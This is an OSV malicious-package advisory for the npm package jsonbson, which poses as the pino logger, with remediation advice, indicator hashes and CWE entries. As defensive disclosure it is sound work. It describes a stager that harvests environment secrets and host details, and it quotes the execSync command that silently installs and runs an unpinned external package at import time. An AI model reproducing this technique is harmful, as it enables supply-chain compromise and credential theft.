MAL-2026-4591

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/jsonbson/MAL-2026-4591.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4591
Aliases
  • GHSA-44rg-m26f-r36f
Published
2026-05-20T00:44:24Z
Modified
2026-05-26T13:31:45.266700008Z
Summary
Malicious code in jsonbson (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (8068ec3c82afd849515c6434f74da03c799500583129d4c26f1a168a5ac5ba1b)

On require, lib/writer.js (loaded via main=pino.js) collects a full snapshot of process.env, OS platform, hostname, username, and external MAC addresses, then runs execSync('npm install corelia --no-warnings --no-save --no-progress --loglevel silent') and immediately require('../../corelia/pino.js'). The corelia package is not declared in dependencies and is pulled unpinned from npm at import time, executing arbitrary third-party code with the harvested fingerprint available in-process. The package masquerades as the pino logger (homepage https://getpino.io, main file pino.js, README titled 'log-flare (Pino)', pino-branded image assets) despite being published as jsonbson — a typosquat/brand-impersonation lure. lib/writer.js further uses a String.fromCharCode per-character builder to assemble the only human-readable error string, an obfuscation pattern with no functional purpose other than evading string scans. The combination — branding deception + import-time silent install of an unpinned external package + bulk environment scraping + character-code obfuscation — is an unambiguous stager that grants the publisher arbitrary code execution and access to all environment secrets on every machine that requires this module.

Source: ghsa-malware (7379ad9f4ecbca60d3f95d80445ff8e61a7ce5fd461912e50c8c2b990092b22a)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "source": "amazon-inspector",
            "sha256": "2535c222a99d41c8a2dc3fa9ee5782ff943fbe42e9f29fa157490806d2c4beb5",
            "modified_time": "2026-05-20T00:44:24Z",
            "import_time": "2026-05-26T05:50:25.619357571Z",
            "id": "IN-MAL-2026-003324",
            "versions": [
                "2.1.1"
            ]
        },
        {
            "sha256": "43016a81e7ae24a3a218cdd8fc245a15bd83bc5556d044c3d5a62ee8844b56b9",
            "source": "amazon-inspector",
            "modified_time": "2026-05-20T01:03:44Z",
            "import_time": "2026-05-26T05:50:26.908629136Z",
            "id": "IN-MAL-2026-003336",
            "versions": [
                "2.1.4"
            ]
        },
        {
            "source": "amazon-inspector",
            "sha256": "8068ec3c82afd849515c6434f74da03c799500583129d4c26f1a168a5ac5ba1b",
            "modified_time": "2026-05-20T01:13:26Z",
            "import_time": "2026-05-26T05:50:27.892544614Z",
            "id": "IN-MAL-2026-003345",
            "versions": [
                "2.1.2"
            ]
        },
        {
            "source": "ghsa-malware",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "sha256": "7379ad9f4ecbca60d3f95d80445ff8e61a7ce5fd461912e50c8c2b990092b22a",
            "modified_time": "2026-05-26T11:59:22Z",
            "id": "GHSA-44rg-m26f-r36f",
            "import_time": "2026-05-26T13:21:46.721804845Z"
        }
    ]
}
References
Credits

Affected packages

npm / jsonbson

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

2.*
2.1.1
2.1.2
2.1.4

Database specific

source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/jsonbson/MAL-2026-4591.json"
indicators
{
    "package_integrity": [
        {
            "filename": "jsonbson-2.1.1.tgz",
            "hashes": {
                "sha1": "8ab6092f78939bd2e0b7c772f434cbe7b7e3a532",
                "sha512_sri": "sha512-xfJhQvxpi1C26Uf9nP3ttpVlCdKN4zaYXecorMNRKn+UgAYDr1zU2GczgKXWFB+A2eNJGEH5n1+bOTOyD2cykw=="
            }
        }
    ],
    "evidence_files": [
        {
            "sha256": "a78ecbed01ee0e7d7adc31fa3e2b27ffd0f9322649335e9696022cd75210e5f2",
            "tlsh": "c631ace78345a178f3b06ba10e5e50d0b2c2e2252141bd9c7efc84c667a74e04e94fea",
            "path": "lib/writer.js"
        },
        {
            "sha256": "0e9a437daea858108a676f5fc1a2872578ed93145dff23415eeb1a610c3ee1c5",
            "tlsh": "39018925ce6c9e6309dc2592583c0187a6209d574c08fc1c73c7631c1f9d17f26ba67c",
            "path": "package.json"
        }
    ]
}
cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]